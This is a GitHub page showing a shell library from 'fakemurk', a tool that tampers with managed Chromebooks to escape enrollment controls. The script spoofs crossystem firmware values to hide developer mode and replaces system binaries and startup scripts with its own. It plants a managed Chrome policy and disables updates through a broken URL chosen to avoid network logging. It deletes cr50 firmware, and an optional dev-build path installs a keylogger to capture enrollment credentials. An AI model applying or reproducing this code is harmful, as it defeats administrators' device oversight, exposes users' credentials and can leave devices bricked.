-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathfakemurk_lib.sh.pre
executable file
·263 lines (229 loc) · 7.08 KB
/
fakemurk_lib.sh.pre
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
. /usr/share/misc/chromeos-common.sh || :
#define DEVBUILD_FLAG 0
#if DEVBUILD_FLAG==1
DEVBUILD=1
devbuild_config() {
swallow_stdin
read -r -p "Would you like to enable enrollment credentential capturer? After finishing the script, the next boot will detect all keypresses during enrollment setup and save them to a file. This file is ONLY STORED LOCALLY, and is deleted as soon as you read it, which you can confirm by reading the source code. By using this you also acknowledge that you have permission to capture these credentials. (y\N)" choice
echo "THIS FEATURE IS FOR CYBER SECURITY RESEARCH ONLY, DO NOT USE UNLESS YOU HAVE RED TEAM PERMISSION"
case "$choice" in
Y | y) INSTALL_LOGKEYS=1 ;;
esac
}
drop_logkeys() {
mkdir "$ROOT/logkeys"
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/usr/bin/logkeys"
#include "logkeys.elf.b64"
EOF
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/logkeys/keymap.map"
#include "keymap.map.b64"
EOF
chmod 777 "$ROOT/usr/bin/logkeys"
ln -s "$ROOT/bin/grep" "$ROOT/sbin/grep"
touch "$ROOT/sbin/dumpkeys"
}
devbuild_patchroot() {
if [ "$INSTALL_LOGKEYS" == "1" ]; then
echo "installing logkeys"
drop_logkeys
touch "$ROOT/logkeys/active"
fi
}
#endif
traps() {
set -e
trap 'last_command=$current_command; current_command=$BASH_COMMAND' DEBUG
trap 'echo "\"${last_command}\" command failed with exit code $?. THIS IS A BUG, REPORT IT HERE https://github.com/MercuryWorkshop/fakemurk"' EXIT
}
leave() {
trap - EXIT
echo "exiting successfully"
exit
}
config() {
swallow_stdin
swallow_stdin
echo
read -r -p "Would you like to enable rootfs restore? It will add an option to quickly revert all changes and re-enroll. (Y/n)" choice
case "$choice" in
N | n | no | No | NO) ROOTFS_BACKUP=0 ;;
*) ROOTFS_BACKUP=1 ;;
esac
if [ "$DEVBUILD" == "1" ]; then
devbuild_config
fi
}
swallow_stdin() {
while read -t 0 notused; do
read input
done
}
fakemurk_info() {
ascii_info
sleep 3
cat <<-EOF
WARNING: THIS SCRIPT WILL REQUIRE THE REMOVAL OF ROOTFS VERIFICATION, AND THE DISABLING OF AUTOUPDATES
THIS MEANS THAT IF YOU EVER TURN OFF DEVMODE, YOUR SYSTEM WILL BE BRICKED UNTIL RECOVERY
WE ARE NOT RESPONSIBLE FOR DAMAGE, YOU BEING STUPID AND MISUSING THIS, OR GETTING IN TROUBLE
DO YOU UNDERSTAND??
(enter to proceed, ctrl+c to quit)
EOF
swallow_stdin
read -r
}
csys() {
if [ "$COMPAT" == "1" ]; then
crossystem "$@"
elif test -f "$ROOT/usr/bin/crossystem.old"; then
"$ROOT/usr/bin/crossystem.old" "$@"
else
"$ROOT/usr/bin/crossystem" "$@"
fi
}
cvpd() {
if [ "$COMPAT" == "1" ]; then
vpd "$@"
elif test -f "$ROOT/usr/sbin/vpd.old"; then
"$ROOT/usr/sbin/vpd.old" "$@"
else
"$ROOT/usr/sbin/vpd" "$@"
fi
}
sed_escape() {
echo -n "$1" | while read -n1 ch; do
if [[ "$ch" == "" ]]; then
echo -n "\n"
# dumbass shellcheck not expanding is the entire point
fi
echo -n "\\x$(printf %x \'"$ch")"
done
}
raw_crossystem_sh() {
base64 -d <<-EOF | bunzip2 -dc
#include "crossystem.sh.b64"
EOF
}
raw_pollen() {
base64 -d <<-EOF | bunzip2 -dc
#include "pollen.json.b64"
EOF
}
drop_daemon() {
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/etc/init/pre-startup.conf"
#include "pre-startup.conf.b64"
EOF
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/sbin/fakemurk-daemon.sh"
#include "fakemurk-daemon.sh.b64"
EOF
chmod 777 "$ROOT/sbin/fakemurk-daemon.sh"
}
drop_startup_patch() {
move_bin "$ROOT/sbin/chromeos_startup.sh"
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/sbin/chromeos_startup.sh"
#include "chromeos_startup.sh.b64"
EOF
chmod 777 "$ROOT/sbin/chromeos_startup.sh"
}
drop_mush() {
move_bin "$ROOT/usr/bin/crosh"
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/usr/bin/crosh"
#include "mush.sh.b64"
EOF
chmod 777 "$ROOT/usr/bin/crosh"
}
drop_ssd_util(){
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/usr/share/vboot/bin/ssd_util.sh"
#include "lib/ssd_util.sh.b64"
EOF
chmod 777 "$ROOT/usr/share/vboot/bin/ssd_util.sh"
}
drop_cr50_update(){
base64 -d <<-EOF | bunzip2 -dc >"$ROOT/etc/init/cr50-update.conf"
#include "cr50-update.conf.b64"
EOF
}
drop_crossystem_sh() {
# this weird space replacement is used because "read" has odd behaviour with spaces and newlines
# i don't need to worry about the jank because crossystem will never have user controlled data
vals=$(sed "s/ /THIS_IS_A_SPACE_DUMBASS/g" <<<"$(crossystem_values)")
raw_crossystem_sh | sed -e "s/#__SED_REPLACEME_CROSSYSTEM_VALUES#/$(sed_escape "$vals")/g" | sed -e "s/THIS_IS_A_SPACE_DUMBASS/ /g" >"$ROOT/usr/bin/crossystem"
chmod 777 "$ROOT/usr/bin/crossystem"
}
drop_pollen() {
mkdir -p "$ROOT/etc/opt/chrome/policies/managed"
raw_pollen >$ROOT/etc/opt/chrome/policies/managed/policy.json
chmod 777 "$ROOT/etc/opt/chrome/policies/managed/policy.json"
}
escape() {
case $1 in
'' | *[!0-9]*) echo -n "\"$1\"" ;;
*) echo -n "$1" ;;
esac
}
crossystem_values() {
readarray -t csys_lines <<<"$(csys)"
for element in "${csys_lines[@]}"; do
line_stripped=$(echo "$element" | sed -e "s/#.*//g" | sed -e 's/ .*=/=/g')
# sed 1: cuts out all chars after the #
# sed 2: cuts out all spaces before =
IFS='=' read -r -a pair <<<"$line_stripped"
key=${pair[0]}
# cut out all characters after an instance of 2 spaces in a row
val="$(echo ${pair[1]} | sed -e 's/ .*//g')"
if [ "$key" == "devsw_cur" ]; then
val=0
fi
if [ "$key" == "devsw_boot" ]; then
val=0
fi
if [ "$key" == "mainfw_type" ]; then
val="normal"
fi
if [ "$key" == "mainfw_act" ]; then
val="A"
fi
if [ "$key" == "cros_debug" ]; then
val=1
fi
if [ "$key" == "dev_boot_legacy" ]; then
val=0
fi
if [ "$key" == "dev_boot_signed_only" ]; then
val=0
fi
if [ "$key" == "dev_boot_usb" ]; then
val=0
fi
if [ "$key" == "dev_default_boot" ]; then
val="disk"
fi
if [ "$key" == "dev_enable_udc" ]; then
val=0
fi
if [ "$key" == "alt_os_enabled" ]; then
val=0
fi
if [ "$key" == "recoverysw_boot" ]; then
val=0
fi
if [ "$key" == "recoverysw_cur" ]; then
val=0
fi
echo "$key=$(escape "$val")"
done
}
move_bin() {
if test -f "$1"; then
mv "$1" "$1.old"
fi
}
disable_autoupdates() {
# thanks phene i guess?
# this is an intentionally broken url so it 404s, but doesn't trip up network logging
sed -i "$ROOT/etc/lsb-release" -e "s/CHROMEOS_AUSERVER=.*/CHROMEOS_AUSERVER=$(sed_escape "https://updates.gooole.com/update")/"
# we don't want to take ANY chances
move_bin "$ROOT/usr/sbin/chromeos-firmwareupdate"
nullify_bin "$ROOT/usr/sbin/chromeos-firmwareupdate"
# bye bye trollers! (trollers being cros devs)
rm -rf "$ROOT/opt/google/cr50/firmware/" || :
}